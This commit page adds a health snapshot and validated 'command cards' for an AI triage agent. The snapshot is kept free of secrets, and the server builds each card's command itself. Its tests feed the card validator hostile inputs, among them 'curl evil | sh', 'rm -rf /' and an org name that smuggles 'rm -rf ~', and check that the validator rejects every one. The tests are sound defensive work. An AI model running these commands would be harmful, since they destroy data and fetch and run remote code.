feat(webui): triage health snapshot and command cards (#1873, lane triage-host)
The snapshot is one 0600 JSON file with a fixed field list: the Console's
answer, the model proxy unit, the system config check, and each active org's
bus state, last start, processing and org config check. States, times, counts
and codes only; a read that fails or hangs says "not read". The system config
check runs scripts/mosaic-config.mjs validate in a child with stdout ignored and
keeps the exit code and one fixed refusal code; the org config check keeps its
exit code only. Cards are { step, org } with a known step and a registered org;
the server renders the command and drops anything else.
This commit is contained in:
1 parent
6fe3625fae
commit
cbf1836bd7
4 files changed
+512
No files matched your search
@@ -0,0 +1,59 @@
|
||||
// #1873 triage-host: the command cards a Triage reply may carry (design section 4). The agent
|
||||
// proposes a card as `{ step, org }` in a fenced ```cards block of its reply. The server keeps a card
|
||||
// only when its keys are exactly step and org, its step is one of CARD_STEPS and its org is in the
|
||||
// registry, and it renders the command text itself from the fixed map below. Anything else is
|
||||
// dropped and counted. The rest of the reply is plain text: control characters are removed and it
|
||||
// is clipped. A card has no Run action; the owner copies the command into a terminal.
|
||||
|
||||
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
|
||||
|
||||
export const CARD_STEPS = Object.freeze({
|
||||
"bus-start": (org) => `mosaic bus start ${org} --detach`,
|
||||
"bus-restart": (org) => `mosaic bus restart ${org}`,
|
||||
"bus-recover": (org) => `mosaic bus recover ${org}`,
|
||||
"bus-stop": (org) => `mosaic bus stop ${org}`,
|
||||
"org-config-validate": (org) => `mosaic org config validate ${org}`,
|
||||
});
|
||||
export const MAX_CARDS = 5;
|
||||
export const MAX_TEXT = 8000;
|
||||
const FENCE = /```cards[ \t]*\r?\n([\s\S]*?)\r?\n?```/g;
|
||||
|
||||
// Plain text: no control characters other than newline and tab, and no more than MAX_TEXT.
|
||||
export function plainText(value, max = MAX_TEXT) {
|
||||
if (typeof value !== "string") return "";
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f---]/g, "").slice(0, max);
|
||||
}
|
||||
|
||||
// One card, or null. orgIds is the set of registry ids the snapshot read.
|
||||
export function validateCard(card, orgIds) {
|
||||
if (!card || typeof card !== "object" || Array.isArray(card) || Object.getPrototypeOf(card) !== Object.prototype) return null;
|
||||
const keys = Object.keys(card);
|
||||
if (keys.length !== 2 || !keys.includes("step") || !keys.includes("org")) return null;
|
||||
const { step, org } = card;
|
||||
if (typeof step !== "string" || !Object.hasOwn(CARD_STEPS, step)) return null;
|
||||
if (typeof org !== "string" || !ID_PATTERN.test(org) || !orgIds?.has?.(org)) return null;
|
||||
return { step, org, command: CARD_STEPS[step](org) };
|
||||
}
|
||||
|
||||
// The reply split into its plain text and the cards the server keeps.
|
||||
export function extractCards(reply, orgIds) {
|
||||
const source = typeof reply === "string" ? reply : "";
|
||||
const cards = [];
|
||||
let dropped = 0;
|
||||
const seen = new Set();
|
||||
const text = source.replace(FENCE, (_, body) => {
|
||||
let parsed;
|
||||
try { parsed = JSON.parse(body); } catch { dropped += 1; return ""; }
|
||||
const list = Array.isArray(parsed) ? parsed : [parsed];
|
||||
for (const item of list) {
|
||||
const card = validateCard(item, orgIds);
|
||||
const key = card && `${card.step} ${card.org}`;
|
||||
if (!card || seen.has(key) || cards.length >= MAX_CARDS) { dropped += 1; continue; }
|
||||
seen.add(key);
|
||||
cards.push(card);
|
||||
}
|
||||
return "";
|
||||
});
|
||||
return { text: plainText(text.trim()), cards, dropped };
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
// #1873 triage-host: the health snapshot the Console writes for the Triage session (design
|
||||
// section 2). It is composed from reads that already exist, keeps only the fields on the fixed list
|
||||
// below, and is written as one JSON file in <dataRoot>/triage/health/, which the session mounts
|
||||
// read-only. States, times, counts and codes only: no token, key, host path, pid or upstream text.
|
||||
// A read that fails, times out or answers outside its fixed shape says "not read", never a guess.
|
||||
// Run records and logs are a later slice.
|
||||
//
|
||||
// The fixed field list (SNAPSHOT_FIELDS names the top level):
|
||||
// snapshotVersion 1
|
||||
// at when the Console composed it (ISO time)
|
||||
// console { state: "answering", at } the Console wrote this, so it answered at `at`
|
||||
// proxy { initialized, installed, active, healthy, fence } or "not read"
|
||||
// systemConfig { valid, exit, code } or "not read"
|
||||
// organizations { count, list: [ { id, bus, processing, config } ] } or "not read"
|
||||
// bus { state: running | not-answering | stopped | dead, lastStart: { ok, at } | null } or "not read"
|
||||
// processing { halted, invalid } or "not read"
|
||||
// config { valid, exit, code } or "not read"
|
||||
//
|
||||
// The system config check runs scripts/mosaic-config.mjs validate in a child. Its stdout is the
|
||||
// resolved config, so it is never read (stdio "ignore"), and loadSystem is not used. Its stderr
|
||||
// names the config path and data-root facts, so only its first line's leading word is matched
|
||||
// against SYSTEM_CONFIG_CODES; the text itself never leaves this module.
|
||||
|
||||
import { spawn } from "node:child_process";
|
||||
import { chmodSync, renameSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { join, resolve, dirname } from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
|
||||
|
||||
const REPO = resolve(dirname(fileURLToPath(import.meta.url)), "..", "..", "..");
|
||||
export const CONFIG_SCRIPT = join(REPO, "scripts", "mosaic-config.mjs");
|
||||
export const ORG_CONFIG_SCRIPT = join(REPO, "packages", "organization", "src", "cli.mjs");
|
||||
export const NOT_READ = "not read";
|
||||
export const SNAPSHOT_VERSION = 1;
|
||||
export const SNAPSHOT_FILE = "snapshot.json";
|
||||
export const SNAPSHOT_FIELDS = Object.freeze(["snapshotVersion", "at", "console", "proxy", "systemConfig", "organizations"]);
|
||||
export const BUS_STATES = Object.freeze(["running", "not-answering", "stopped", "dead"]);
|
||||
const UNIT_ACTIVE = Object.freeze(["active", "inactive", "failed", "activating", "deactivating", "reloading", "unknown"]);
|
||||
export const READ_TIMEOUT_MS = 5000;
|
||||
export const MAX_ORGS = 200;
|
||||
|
||||
// What a failed system config check may say. Each refusal code the validator prints as its first
|
||||
// word passes as itself; a known sentence maps to a fixed code; anything else is the exit's general
|
||||
// code. Nothing else of stderr is kept.
|
||||
const PRINTED_CODES = Object.freeze([
|
||||
"instance-config-mismatch", "instance-name-invalid", "instance-root-unclaimed", "instance-root-mismatch",
|
||||
"proxy-rotate-grace-invalid", "proxy-first-output-invalid", "proxy-config-invalid",
|
||||
]);
|
||||
const SENTENCES = Object.freeze([
|
||||
["configuration not found", "config-not-found"],
|
||||
["configuration is not valid JSON", "config-not-json"],
|
||||
["configuration path must be a regular", "config-not-regular-file"],
|
||||
["configuration file is not readable", "config-unreadable"],
|
||||
["configuration must be a JSON object", "config-not-object"],
|
||||
["unsupported configVersion", "config-version-unsupported"],
|
||||
["unsupported environment", "config-environment-unsupported"],
|
||||
['execution "dataRoot"', "config-data-root-invalid"],
|
||||
["unsupported execution.", "config-execution-unsupported"],
|
||||
["unsupported ", "config-key-unsupported"],
|
||||
]);
|
||||
const EXIT_CODES = Object.freeze({ 1: "config-check-failed", 2: "config-invalid", 3: "config-missing-or-unclaimed", 4: "config-check-usage" });
|
||||
export const SYSTEM_CONFIG_CODES = Object.freeze([...new Set([...PRINTED_CODES, ...SENTENCES.map(([, c]) => c), ...Object.values(EXIT_CODES), "config-check-failed"])]);
|
||||
|
||||
// The org config check (`mosaic org config validate ID`) is read by its exit code alone.
|
||||
const ORG_EXIT_CODES = Object.freeze({ 2: "org-config-invalid", 3: "org-config-system-unreadable", 4: "org-config-check-usage" });
|
||||
export const ORG_CONFIG_CODES = Object.freeze([...Object.values(ORG_EXIT_CODES), "org-config-check-failed"]);
|
||||
|
||||
// stderr's first line, already without its "mosaic-config: " prefix, to one fixed code.
|
||||
export function systemConfigCode(exit, firstLine) {
|
||||
if (exit === 0) return null;
|
||||
const line = typeof firstLine === "string" ? firstLine.replace(/^mosaic-config: /, "") : "";
|
||||
const word = line.match(/^([a-z][a-z0-9-]{2,63})(?::|$)/)?.[1];
|
||||
if (word && PRINTED_CODES.includes(word)) return word;
|
||||
for (const [start, code] of SENTENCES) if (line.startsWith(start)) return code;
|
||||
return EXIT_CODES[exit] ?? "config-check-failed";
|
||||
}
|
||||
|
||||
// A child run for its exit code. stdout is never opened. stderr is read only when `stderr` is
|
||||
// true, at most 4 KiB, and only its first line is returned to the caller in this module.
|
||||
export function runExitOnly(argv, { env, timeoutMs = READ_TIMEOUT_MS, stderr = false } = {}) {
|
||||
return new Promise((done) => {
|
||||
let child;
|
||||
try {
|
||||
child = spawn(argv[0], argv.slice(1), { env, stdio: ["ignore", "ignore", stderr ? "pipe" : "ignore"] });
|
||||
} catch {
|
||||
return done(null);
|
||||
}
|
||||
let err = "";
|
||||
let settled = false;
|
||||
const finish = (value) => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
clearTimeout(timer);
|
||||
done(value);
|
||||
};
|
||||
const timer = setTimeout(() => {
|
||||
try { child.kill("SIGKILL"); } catch {}
|
||||
finish(null);
|
||||
}, timeoutMs);
|
||||
child.stderr?.on("data", (b) => {
|
||||
if (err.length < 4096) err += b.toString("utf8").slice(0, 4096 - err.length);
|
||||
});
|
||||
child.on("error", () => finish(null));
|
||||
child.on("close", (code, signal) => finish(signal || !Number.isInteger(code) ? null : { exit: code, firstLine: err.split("\n")[0] }));
|
||||
});
|
||||
}
|
||||
|
||||
// { valid, exit, code } from the validator, or "not read" when it did not run to an exit.
|
||||
export async function readSystemConfig({ env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
|
||||
const r = await run([node, CONFIG_SCRIPT, "validate"], { env, timeoutMs, stderr: true });
|
||||
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
|
||||
const code = systemConfigCode(r.exit, r.firstLine);
|
||||
return { valid: r.exit === 0, exit: r.exit, code };
|
||||
}
|
||||
|
||||
export async function readOrgConfig(id, { env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
|
||||
if (typeof id !== "string" || !ID_PATTERN.test(id)) return NOT_READ;
|
||||
const r = await run([node, ORG_CONFIG_SCRIPT, "validate", id], { env, timeoutMs, stderr: false });
|
||||
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
|
||||
return { valid: r.exit === 0, exit: r.exit, code: r.exit === 0 ? null : ORG_EXIT_CODES[r.exit] ?? "org-config-check-failed" };
|
||||
}
|
||||
|
||||
const ISO = /^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d{1,9})?Z$/;
|
||||
const isoOrNull = (v) => (typeof v === "string" && ISO.test(v) ? v : null);
|
||||
const bool = (v) => (typeof v === "boolean" ? v : null);
|
||||
|
||||
// Each read under its own deadline; a throw, a timeout or a null is "not read".
|
||||
async function bounded(fn, timeoutMs) {
|
||||
let timer;
|
||||
try {
|
||||
const value = await Promise.race([
|
||||
Promise.resolve().then(fn),
|
||||
new Promise((resolve) => { timer = setTimeout(() => resolve(NOT_READ), timeoutMs); }),
|
||||
]);
|
||||
return value ?? NOT_READ;
|
||||
} catch {
|
||||
return NOT_READ;
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
// The fixed shapes. Anything outside them is "not read".
|
||||
export function proxyFields(status) {
|
||||
if (!status || typeof status !== "object") return NOT_READ;
|
||||
const unit = status.unit && typeof status.unit === "object" ? status.unit : {};
|
||||
const out = {
|
||||
initialized: bool(status.init?.initialized),
|
||||
installed: bool(unit.installed),
|
||||
active: UNIT_ACTIVE.includes(unit.active) ? unit.active : "unknown",
|
||||
healthy: bool(unit.healthy),
|
||||
fence: bool(status.fence?.set),
|
||||
};
|
||||
return out.initialized === null && out.installed === null && out.healthy === null ? NOT_READ : out;
|
||||
}
|
||||
|
||||
// busStatus (packages/cli/src/org-bus.mjs) answers healthy and pid; a refusal from its state check
|
||||
// (a host it cannot account for, a CliError) is a dead host, as the Console's bus revive reads it.
|
||||
export function busFields(status, refusedDead = false) {
|
||||
if (refusedDead) return { state: "dead", lastStart: null };
|
||||
if (!status || typeof status !== "object" || typeof status.healthy !== "boolean") return NOT_READ;
|
||||
const state = status.healthy ? "running" : Number.isSafeInteger(status.pid) ? "not-answering" : "stopped";
|
||||
const boot = status.boot && typeof status.boot === "object" && typeof status.boot.ok === "boolean" && isoOrNull(status.boot.at)
|
||||
? { ok: status.boot.ok, at: status.boot.at } : null;
|
||||
return { state, lastStart: boot };
|
||||
}
|
||||
|
||||
export function processingFields(p) {
|
||||
if (!p || typeof p !== "object" || typeof p.halted !== "boolean") return NOT_READ;
|
||||
return { halted: p.halted, invalid: p.invalid === true };
|
||||
}
|
||||
|
||||
function configFields(c, codes) {
|
||||
if (!c || typeof c !== "object" || typeof c.valid !== "boolean" || !Number.isInteger(c.exit)) return NOT_READ;
|
||||
return { valid: c.valid, exit: c.exit, code: c.code === null || codes.includes(c.code) ? c.code : null };
|
||||
}
|
||||
|
||||
// readers: { orgs() -> [{ id, state }], busStatus(id) -> status (a CliError, or a throw with
|
||||
// `dead: true`, is a dead host), processing(id), orgConfig(id), proxy(), systemConfig() }. Each may be missing.
|
||||
export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS } = {}) {
|
||||
const at = now().toISOString();
|
||||
const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ));
|
||||
const [proxyRaw, systemRaw, orgsRaw] = await Promise.all([read("proxy"), read("systemConfig"), read("orgs")]);
|
||||
let organizations = NOT_READ;
|
||||
if (Array.isArray(orgsRaw)) {
|
||||
const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS);
|
||||
const list = await Promise.all(active.map(async ({ id }) => {
|
||||
const [bus, processing, config] = await Promise.all([
|
||||
typeof readers.busStatus === "function"
|
||||
? bounded(async () => {
|
||||
try { return busFields(await readers.busStatus(id)); }
|
||||
catch (e) { return e?.name === "CliError" || e?.dead === true ? busFields(null, true) : NOT_READ; }
|
||||
}, timeoutMs)
|
||||
: NOT_READ,
|
||||
read("processing", id),
|
||||
read("orgConfig", id),
|
||||
]);
|
||||
return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) };
|
||||
}));
|
||||
organizations = { count: list.length, list };
|
||||
}
|
||||
return {
|
||||
snapshotVersion: SNAPSHOT_VERSION,
|
||||
at,
|
||||
console: { state: "answering", at },
|
||||
proxy: proxyFields(proxyRaw),
|
||||
systemConfig: configFields(systemRaw, SYSTEM_CONFIG_CODES),
|
||||
organizations,
|
||||
};
|
||||
}
|
||||
|
||||
// One file, replaced whole: written beside itself at 0600, then renamed over the last one.
|
||||
export function writeSnapshot(healthDir, snapshot) {
|
||||
const file = join(healthDir, SNAPSHOT_FILE);
|
||||
const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.tmp`);
|
||||
try {
|
||||
writeFileSync(temp, JSON.stringify(snapshot, null, 2) + "\n", { mode: 0o600 });
|
||||
chmodSync(temp, 0o600);
|
||||
renameSync(temp, file);
|
||||
} finally {
|
||||
rmSync(temp, { force: true });
|
||||
}
|
||||
return file;
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
// #1873 triage-host: command cards. The server keeps { step, org } with a known step and a
|
||||
// registered org, renders the command itself, and drops everything else.
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { CARD_STEPS, MAX_CARDS, extractCards, validateCard, plainText } from "../src/triage-cards.mjs";
|
||||
|
||||
const orgs = new Set(["alpha", "beta"]);
|
||||
const fence = (value) => "```cards\n" + (typeof value === "string" ? value : JSON.stringify(value)) + "\n```";
|
||||
|
||||
test("each known step renders its fixed command for a registered org", () => {
|
||||
assert.deepEqual(Object.keys(CARD_STEPS), ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]);
|
||||
assert.deepEqual(validateCard({ step: "bus-start", org: "alpha" }, orgs), { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" });
|
||||
assert.equal(validateCard({ step: "bus-restart", org: "beta" }, orgs).command, "mosaic bus restart beta");
|
||||
assert.equal(validateCard({ step: "bus-recover", org: "beta" }, orgs).command, "mosaic bus recover beta");
|
||||
assert.equal(validateCard({ step: "bus-stop", org: "beta" }, orgs).command, "mosaic bus stop beta");
|
||||
assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha");
|
||||
});
|
||||
|
||||
test("a card with an unknown step, an unknown org or an extra field is dropped", () => {
|
||||
assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "__proto__", org: "alpha" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "gamma" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha; rm -rf ~" }, new Set(["alpha; rm -rf ~"])), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha", command: "curl evil | sh" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha", run: true }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start" }, orgs), null);
|
||||
assert.equal(validateCard(["bus-start", "alpha"], orgs), null);
|
||||
assert.equal(validateCard(Object.assign(Object.create({ evil: 1 }), { step: "bus-start", org: "alpha" }), orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, null), null);
|
||||
assert.equal(validateCard("bus-start alpha", orgs), null);
|
||||
});
|
||||
|
||||
test("extractCards keeps the valid cards, counts the dropped, and strips the fences from the text", () => {
|
||||
const reply = [
|
||||
"The alpha bus is stopped.",
|
||||
fence([
|
||||
{ step: "bus-start", org: "alpha" },
|
||||
{ step: "bus-start", org: "gamma" },
|
||||
{ step: "bus-wipe", org: "alpha" },
|
||||
{ step: "bus-stop", org: "beta", command: "rm -rf /" },
|
||||
{ step: "bus-start", org: "alpha" },
|
||||
]),
|
||||
"Then check its config.",
|
||||
fence({ step: "org-config-validate", org: "alpha" }),
|
||||
fence("not json {"),
|
||||
].join("\n");
|
||||
const out = extractCards(reply, orgs);
|
||||
assert.deepEqual(out.cards, [
|
||||
{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" },
|
||||
{ step: "org-config-validate", org: "alpha", command: "mosaic org config validate alpha" },
|
||||
]);
|
||||
assert.equal(out.dropped, 5);
|
||||
assert.ok(!out.text.includes("```"));
|
||||
assert.ok(!out.text.includes("rm -rf"));
|
||||
assert.match(out.text, /The alpha bus is stopped\./);
|
||||
});
|
||||
|
||||
test("no more than MAX_CARDS cards are kept", () => {
|
||||
const many = [];
|
||||
for (const step of Object.keys(CARD_STEPS)) for (const org of orgs) many.push({ step, org });
|
||||
const out = extractCards(fence(many), orgs);
|
||||
assert.equal(out.cards.length, MAX_CARDS);
|
||||
assert.equal(out.dropped, many.length - MAX_CARDS);
|
||||
});
|
||||
|
||||
test("the explanation is plain text: no control or direction characters, clipped", () => {
|
||||
assert.equal(plainText("a\u001b[31mred\u0007b\r\nc\td"), "a[31mredb\nc\td");
|
||||
assert.equal(plainText("x".repeat(9000)).length, 8000);
|
||||
assert.equal(plainText(null), "");
|
||||
assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 });
|
||||
});
|
||||
@@ -0,0 +1,157 @@
|
||||
// #1873 triage-host: the health snapshot keeps a fixed field list. States, times, counts and codes
|
||||
// only; a failed system config check leaves no path, token or stderr text in it.
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, statSync, readdirSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, composeSnapshot, readSystemConfig, readOrgConfig,
|
||||
runExitOnly, systemConfigCode, writeSnapshot, busFields, proxyFields,
|
||||
} from "../src/triage-snapshot.mjs";
|
||||
|
||||
const scratch = () => mkdtempSync(join(process.env.TMPDIR, "ts-"));
|
||||
const SECRET = "sk-ant-TRIAGESECRET0123456789";
|
||||
const cliError = (message) => Object.assign(new Error(message), { name: "CliError", exitCode: 3 });
|
||||
|
||||
function assertClean(snapshot, ...needles) {
|
||||
const text = JSON.stringify(snapshot);
|
||||
for (const n of needles) assert.ok(!text.includes(n), `snapshot holds ${n}`);
|
||||
assert.ok(!text.includes("mosaic-config"), "snapshot holds stderr text");
|
||||
assert.ok(!/\/(home|mnt|tmp|srv)\//.test(text), "snapshot holds a host path");
|
||||
}
|
||||
|
||||
test("a failed system config check (real validator, bad JSON) leaves no path, token or stderr text", async () => {
|
||||
const dir = scratch();
|
||||
const config = join(dir, `config-${SECRET}.json`);
|
||||
writeFileSync(config, `{"configVersion": 1, "token": "${SECRET}",`);
|
||||
const env = { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config, LANG: "C.UTF-8" };
|
||||
const systemConfig = await readSystemConfig({ env });
|
||||
assert.notEqual(systemConfig, NOT_READ);
|
||||
assert.equal(systemConfig.valid, false);
|
||||
assert.ok(Number.isInteger(systemConfig.exit) && systemConfig.exit !== 0);
|
||||
assert.ok(SYSTEM_CONFIG_CODES.includes(systemConfig.code), `code ${systemConfig.code} is on the fixed list`);
|
||||
const snap = await composeSnapshot({ systemConfig: () => systemConfig });
|
||||
assertClean(snap, SECRET, dir, config);
|
||||
const file = writeSnapshot(dir, snap);
|
||||
assertClean(readFileSync(file, "utf8"), SECRET, dir);
|
||||
});
|
||||
|
||||
test("a missing config and an unsupported key are refused by code, never by the validator's words", async () => {
|
||||
const dir = scratch();
|
||||
const missing = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: join(dir, "absent.json") } });
|
||||
assert.deepEqual(missing, { valid: false, exit: 3, code: "config-not-found" });
|
||||
const config = join(dir, "c.json");
|
||||
writeFileSync(config, JSON.stringify({ configVersion: 1, [SECRET]: true }));
|
||||
const odd = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config } });
|
||||
assert.equal(odd.valid, false);
|
||||
assert.ok(SYSTEM_CONFIG_CODES.includes(odd.code));
|
||||
assertClean(await composeSnapshot({ systemConfig: () => odd }), SECRET, dir);
|
||||
});
|
||||
|
||||
test("the stderr mapping keeps only a fixed code, whatever the line says", () => {
|
||||
assert.equal(systemConfigCode(0, "anything"), null);
|
||||
assert.equal(systemConfigCode(2, "mosaic-config: instance-root-mismatch: /home/x/.mosaic-dev is claimed"), "instance-root-mismatch");
|
||||
assert.equal(systemConfigCode(3, "mosaic-config: configuration not found: /home/x/config.json"), "config-not-found");
|
||||
assert.equal(systemConfigCode(2, `mosaic-config: ${SECRET}`), "config-invalid");
|
||||
assert.equal(systemConfigCode(9, "/home/x/secret"), "config-check-failed");
|
||||
assert.equal(systemConfigCode(2, "mosaic-config: not-a-code: x"), "config-invalid");
|
||||
});
|
||||
|
||||
test("a child's stdout is never read and stderr only when asked", async () => {
|
||||
const script = `process.stdout.write(${JSON.stringify(SECRET)}); process.stderr.write("line one ${SECRET}\\nline two"); process.exit(2)`;
|
||||
const quiet = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH } });
|
||||
assert.deepEqual(quiet, { exit: 2, firstLine: "" });
|
||||
const told = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH }, stderr: true });
|
||||
assert.equal(told.exit, 2);
|
||||
assert.ok(!JSON.stringify(told).includes("line two"));
|
||||
assert.equal(await runExitOnly([process.execPath, "-e", "setTimeout(() => {}, 10000)"], { env: {}, timeoutMs: 200 }), null);
|
||||
assert.equal(await runExitOnly([join(scratch(), "absent")], { env: {} }), null);
|
||||
});
|
||||
|
||||
test("a system config check that does not reach an exit says not read", async () => {
|
||||
assert.equal(await readSystemConfig({ run: async () => null }), NOT_READ);
|
||||
const snap = await composeSnapshot({ systemConfig: () => readSystemConfig({ run: async () => null }) });
|
||||
assert.equal(snap.systemConfig, NOT_READ);
|
||||
});
|
||||
|
||||
test("the org config check keeps its exit code only, and never runs for an id outside the pattern", async () => {
|
||||
const calls = [];
|
||||
const run = async (argv, opts) => { calls.push([argv.slice(-2), opts.stderr]); return { exit: 2, firstLine: SECRET }; };
|
||||
assert.deepEqual(await readOrgConfig("alpha", { run }), { valid: false, exit: 2, code: "org-config-invalid" });
|
||||
assert.deepEqual(calls, [[["validate", "alpha"], false]]);
|
||||
assert.equal(await readOrgConfig("../etc", { run }), NOT_READ);
|
||||
assert.equal(await readOrgConfig("--help", { run }), NOT_READ);
|
||||
assert.equal(calls.length, 1);
|
||||
assert.ok(ORG_CONFIG_CODES.includes("org-config-check-failed"));
|
||||
});
|
||||
|
||||
test("the snapshot holds the fixed field list and nothing a reader adds", async () => {
|
||||
const now = () => new Date("2026-11-16T12:00:00.000Z");
|
||||
const snap = await composeSnapshot({
|
||||
orgs: async () => [
|
||||
{ id: "alpha", state: "active", root: "/home/x/orgs/alpha" },
|
||||
{ id: "beta", state: "active", root: "/srv/beta" },
|
||||
{ id: "gone", state: "archived", root: "/home/x/gone" },
|
||||
{ id: "../bad", state: "active" },
|
||||
],
|
||||
busStatus: async (id) => {
|
||||
if (id === "beta") throw cliError("stale bus host lock at /home/x/orgs/beta/bus.lock");
|
||||
return { healthy: true, pid: 4242, boot: { ok: true, at: "2026-11-16T11:00:00.000Z", log: "/home/x/boot.log" }, root: "/home/x/orgs/alpha", socket: "/home/x/s.sock" };
|
||||
},
|
||||
processing: async (id) => (id === "alpha" ? { halted: false, invalid: false, reason: SECRET } : { nonsense: 1 }),
|
||||
orgConfig: async () => ({ valid: true, exit: 0, code: null, stderr: SECRET }),
|
||||
proxy: async () => ({ unit: { installed: true, active: "active", healthy: true, error: SECRET, path: "/home/x" }, init: { initialized: true, file: "/home/x" }, fence: { set: false, key: SECRET } }),
|
||||
systemConfig: async () => ({ valid: true, exit: 0, code: null, path: "/home/x/config.json" }),
|
||||
}, { now });
|
||||
assert.deepEqual(Object.keys(snap), SNAPSHOT_FIELDS);
|
||||
assert.deepEqual(snap, {
|
||||
snapshotVersion: 1,
|
||||
at: "2026-11-16T12:00:00.000Z",
|
||||
console: { state: "answering", at: "2026-11-16T12:00:00.000Z" },
|
||||
proxy: { initialized: true, installed: true, active: "active", healthy: true, fence: false },
|
||||
systemConfig: { valid: true, exit: 0, code: null },
|
||||
organizations: {
|
||||
count: 2,
|
||||
list: [
|
||||
{ id: "alpha", bus: { state: "running", lastStart: { ok: true, at: "2026-11-16T11:00:00.000Z" } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } },
|
||||
{ id: "beta", bus: { state: "dead", lastStart: null }, processing: NOT_READ, config: { valid: true, exit: 0, code: null } },
|
||||
],
|
||||
},
|
||||
});
|
||||
assertClean(snap, SECRET, "4242");
|
||||
});
|
||||
|
||||
test("every failed or missing read says not read, and a read that hangs is cut off", async () => {
|
||||
const hang = () => new Promise(() => {});
|
||||
const snap = await composeSnapshot({
|
||||
orgs: async () => [{ id: "alpha", state: "active" }],
|
||||
busStatus: async () => { throw new Error("EACCES /home/x"); },
|
||||
processing: hang,
|
||||
orgConfig: async () => { throw new Error(SECRET); },
|
||||
proxy: hang,
|
||||
}, { timeoutMs: 100 });
|
||||
assert.equal(snap.proxy, NOT_READ);
|
||||
assert.equal(snap.systemConfig, NOT_READ);
|
||||
assert.deepEqual(snap.organizations.list, [{ id: "alpha", bus: NOT_READ, processing: NOT_READ, config: NOT_READ }]);
|
||||
assert.equal((await composeSnapshot({ orgs: async () => { throw new Error("x"); } })).organizations, NOT_READ);
|
||||
assert.equal((await composeSnapshot({})).organizations, NOT_READ);
|
||||
assertClean(snap, SECRET);
|
||||
});
|
||||
|
||||
test("bus and proxy reads outside their shapes say not read; unknown unit states are unknown", () => {
|
||||
assert.equal(busFields({ pid: 3 }), NOT_READ);
|
||||
assert.deepEqual(busFields({ healthy: false, pid: 3 }), { state: "not-answering", lastStart: null });
|
||||
assert.deepEqual(busFields({ healthy: false, pid: null, boot: { ok: false, at: "yesterday" } }), { state: "stopped", lastStart: null });
|
||||
assert.equal(proxyFields({}), NOT_READ);
|
||||
assert.equal(proxyFields({ unit: { installed: false, active: "rm -rf /", healthy: false } }).active, "unknown");
|
||||
});
|
||||
|
||||
test("the snapshot file is one 0600 file, replaced whole", () => {
|
||||
const dir = scratch();
|
||||
mkdirSync(join(dir, "health"), { mode: 0o700 });
|
||||
writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 1 });
|
||||
const file = writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 2 });
|
||||
assert.equal(statSync(file).mode & 0o777, 0o600);
|
||||
assert.deepEqual(readdirSync(join(dir, "health")), ["snapshot.json"]);
|
||||
assert.equal(JSON.parse(readFileSync(file, "utf8")).n, 2);
|
||||
});
|
||||
Reference in new issue
Block a user